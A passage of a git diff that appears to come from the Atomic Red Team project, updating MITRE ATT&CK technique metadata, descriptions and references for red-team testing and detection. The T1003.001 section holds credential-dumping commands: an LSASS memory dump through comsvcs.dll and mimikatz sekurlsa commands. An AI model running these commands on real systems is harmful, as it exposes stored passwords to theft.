         users of the dependency. (Citation: Trendmicro NPM Compromise)"
-      name: Supply Chain Compromise
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7
-      x_mitre_version: '1.2'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Veeral Patel
       x_mitre_detection: Use verification of distributed binaries through hash checking
         or other integrity checking mechanisms. Scan downloads for malicious signatures
         and attempt to test software and updates prior to deployment while taking
         note of potential suspicious activity. Perform physical inspection of hardware
         to look for potential tampering.
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
-      x_mitre_contributors:
-      - Veeral Patel
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1195
+        external_id: T1195
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/437.html
+        external_id: CAPEC-437
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/438.html
+        external_id: CAPEC-438
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/439.html
+        external_id: CAPEC-439
+        source_name: capec
+      - url: https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E
+        description: IBM Support. (2017, April 26). Storwize USB Initialization Tool
+          may contain malicious code. Retrieved May 28, 2019.
+        source_name: IBM Storwize
+      - url: https://www.se.com/ww/en/download/document/SESN-2018-236-01/
+        description: Schneider Electric. (2018, August 24). Security Notification
+          – USB Removable Media Provided With Conext Combox and Conext Battery Monitor.
+          Retrieved May 28, 2019.
+        source_name: Schneider Electric USB Malware
+      - source_name: Avast CCleaner3 2018
+        description: Avast Threat Intelligence Team. (2018, March 8). New investigations
+          into the CCleaner incident point to a possible third stage that had keylogger
+          capacities. Retrieved March 15, 2018.
+        url: https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
+      - source_name: Microsoft Dofoil 2018
+        description: Windows Defender Research. (2018, March 7). Behavior monitoring
+          combined with machine learning spoils a massive Dofoil coin mining campaign.
+          Retrieved March 20, 2018.
+        url: https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/
+      - source_name: Command Five SK 2011
+        description: Command Five Pty Ltd. (2011, September). SK Hack by an Advanced
+          Persistent Threat. Retrieved April 6, 2018.
+        url: https://www.commandfive.com/papers/C5_APT_SKHack.pdf
+      - source_name: Symantec Elderwood Sept 2012
+        description: O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood
+          Project. Retrieved February 15, 2018.
+        url: https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
+      - url: https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets
+        description: Trendmicro. (2018, November 29). Hacker Infects Node.js Package
+          to Steal from Bitcoin Wallets. Retrieved April 10, 2019.
+        source_name: Trendmicro NPM Compromise
     atomic_tests: []
   T1199:
     technique:
-      created: '2018-04-18T17:59:24.739Z'
-      modified: '2021-03-08T10:33:01.045Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: initial-access
       type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1199
-        url: https://attack.mitre.org/techniques/T1199
-      - source_name: CISA IT Service Providers
-        url: https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers
-        description: CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved
-          November 16, 2020.
-      description: |-
-        Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.
-
-        Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)
+      modified: '2021-03-08T10:33:01.045Z'
       name: Trusted Relationship
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925
-      x_mitre_contributors:
-      - Praetorian
-      x_mitre_version: '2.2'
       x_mitre_data_sources:
       - 'Application Log: Application Log Content'
       - 'Logon Session: Logon Session Metadata'
       - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '2.2'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: initial-access
+      x_mitre_platforms:
+      - Windows
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925
+      description: |-
+        Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.
+
+        Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Praetorian
       x_mitre_detection: Establish monitoring for activity conducted by second and
         third party providers and other trusted entities that may be leveraged as
         a means to gain access to the network. Depending on the type of relationship,
@@ -76457,41 +78756,29 @@ initial-access:
         is based on IT services. Adversaries may be able to act quickly towards an
         objective, so proper monitoring for behavior related to Credential Access,
         Lateral Movement, and Collection will be important to detect the intrusion.
-      x_mitre_platforms:
-      - Windows
-      - SaaS
-      - IaaS
-      - Linux
-      - macOS
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1199
+        external_id: T1199
+        source_name: mitre-attack
+      - url: https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers
+        description: CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved
+          November 16, 2020.
+        source_name: CISA IT Service Providers
     atomic_tests: []
   T1078:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078
-        url: https://attack.mitre.org/techniques/T1078
-      - external_id: CAPEC-560
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/560.html
-      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
-        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
-          Theft. Retrieved June 3, 2016.
-        source_name: TechNet Credential Theft
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
-      description: |-
-        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
-
-        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
-      name: Valid Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
       type: attack-pattern
+      name: Valid Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '2.3'
+      modified: '2021-10-19T03:29:48.018Z'
+      created: '2017-05-31T21:31:00.645Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -76501,12 +78788,7 @@ initial-access:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-12T18:27:52.298Z'
-      created: '2017-05-31T21:31:00.645Z'
-      x_mitre_version: '2.2'
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
+      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
       x_mitre_defense_bypassed:
       - Firewall
       - Host intrusion prevention systems
@@ -76514,16 +78796,6 @@ initial-access:
       - Application control
       - System access controls
       - Anti-virus
-      x_mitre_detection: |-
-        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-
-        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_effective_permissions:
-      - User
-      - Administrator
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -76534,10 +78806,41 @@ initial-access:
       - macOS
       - Google Workspace
       - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
+
+        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
+      x_mitre_effective_permissions:
+      - User
+      - Administrator
       x_mitre_contributors:
+      - Jon Sternstein, Stern Security
       - Yossi Weizman, Azure Defender Research Team
       - Netskope
       - Mark Wee
       - Praetorian
-      x_mitre_is_subtechnique: false
+      x_mitre_detection: |-
+        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
+
+        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078
+        external_id: T1078
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/560.html
+        external_id: CAPEC-560
+        source_name: capec
+      - source_name: TechNet Credential Theft
+        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
+          Theft. Retrieved June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
diff --git a/atomics/T1003.001/T1003.001.md b/atomics/T1003.001/T1003.001.md
index c4838e85..4490767b 100644
--- a/atomics/T1003.001/T1003.001.md
+++ b/atomics/T1003.001/T1003.001.md
@@ -13,6 +13,10 @@ Locally, mimikatz can be run using:
 * <code>sekurlsa::Minidump lsassdump.dmp</code>
 * <code>sekurlsa::logonPasswords</code>
 
+Built-in Windows tools such as comsvcs.dll can also be used:
+
+* <code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)
+
 
 Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
 
diff --git a/atomics/T1016/T1016.md b/atomics/T1016/T1016.md
index 3a933f3d..d49a9680 100644
--- a/atomics/T1016/T1016.md
+++ b/atomics/T1016/T1016.md
@@ -1,8 +1,8 @@
 # T1016 - System Network Configuration Discovery
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1016)
-<blockquote>Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).
+<blockquote>Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).
 
-Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.</blockquote>
+Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. </blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1018/T1018.md b/atomics/T1018/T1018.md
index d835dbd4..0fcd96f2 100644
--- a/atomics/T1018/T1018.md
+++ b/atomics/T1018/T1018.md
@@ -1,8 +1,7 @@
 # T1018 - Remote System Discovery
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1018)
 <blockquote>Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  [Ping](https://attack.mitre.org/software/S0097) or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: <code>C:\Windows\System32\Drivers\etc\hosts</code> or <code>/etc/hosts</code>) in order to discover the hostname to IP address mappings of remote systems. 
-
-Specific to macOS, the <code>bonjour</code> protocol exists to discover additional Mac-based systems within the same broadcast domain.</blockquote>
+</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1021.003/T1021.003.md b/atomics/T1021.003/T1021.003.md
index 021496f3..ab1e1e32 100644
--- a/atomics/T1021.003/T1021.003.md
+++ b/atomics/T1021.003/T1021.003.md
@@ -6,7 +6,7 @@ The Windows Component Object Model (COM) is a component of the native Windows ap
 
 Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)
 
-Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.</blockquote>
+Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1021.006/T1021.006.md b/atomics/T1021.006/T1021.006.md
index 3d4960c4..5e070e13 100644
--- a/atomics/T1021.006/T1021.006.md
+++ b/atomics/T1021.006/T1021.006.md
@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1021/006)
 <blockquote>Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.
 
-WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)</blockquote>
+WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1033/T1033.md b/atomics/T1033/T1033.md
index 550a4dab..921842e3 100644
--- a/atomics/T1033/T1033.md
+++ b/atomics/T1033/T1033.md
@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1033)
 <blockquote>Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
 
-Utilities and commands that acquire this information include <code>whoami</code>. In Mac and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.</blockquote>
+Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1047/T1047.md b/atomics/T1047/T1047.md
index b0925040..802ca7b2 100644
--- a/atomics/T1047/T1047.md
+++ b/atomics/T1047/T1047.md
@@ -1,8 +1,8 @@
 # T1047 - Windows Management Instrumentation
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1047)
-<blockquote>Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)
+<blockquote>Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)
 
-An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)</blockquote>
+An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1048/T1048.md b/atomics/T1048/T1048.md
index 5fff3bbb..675cdfe1 100644
--- a/atomics/T1048/T1048.md
+++ b/atomics/T1048/T1048.md
@@ -4,7 +4,7 @@
 
 Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. 
 
-[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) </blockquote>
+[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) </blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1053.001/T1053.001.md b/atomics/T1053.001/T1053.001.md
index 64bdb473..3277a2cd 100644
--- a/atomics/T1053.001/T1053.001.md
+++ b/atomics/T1053.001/T1053.001.md
@@ -1,8 +1,10 @@
 # T1053.001 - At (Linux)
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1053/001)
-<blockquote>Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
+<blockquote>Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)
 
-An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.</blockquote>
+An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
+
+Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1053.003/T1053.003.md b/atomics/T1053.003/T1053.003.md
index 3d7f4b54..55271a7a 100644
--- a/atomics/T1053.003/T1053.003.md
+++ b/atomics/T1053.003/T1053.003.md
@@ -1,8 +1,8 @@
 # T1053.003 - Cron
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1053/003)
-<blockquote>Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code. The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.
+<blockquote>Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.
 
-An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. <code>cron</code> can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.</blockquote>
+An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. </blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1053.004/T1053.004.md b/atomics/T1053.004/T1053.004.md
index 36bf4bfb..47b2cf87 100644
--- a/atomics/T1053.004/T1053.004.md
+++ b/atomics/T1053.004/T1053.004.md
@@ -1,6 +1,8 @@
 # T1053.004 - Launchd
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1053/004)
-<blockquote>Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
+<blockquote>This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. 
+
+Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
 
 An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.</blockquote>
 
diff --git a/atomics/T1053.006/T1053.006.md b/atomics/T1053.006/T1053.006.md
index 94e03e8c..ecaa19e0 100644
--- a/atomics/T1053.006/T1053.006.md
+++ b/atomics/T1053.006/T1053.006.md
@@ -1,6 +1,6 @@
 # T1053.006 - Systemd Timers
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1053/006)
-<blockquote>Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)
+<blockquote>Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)
 
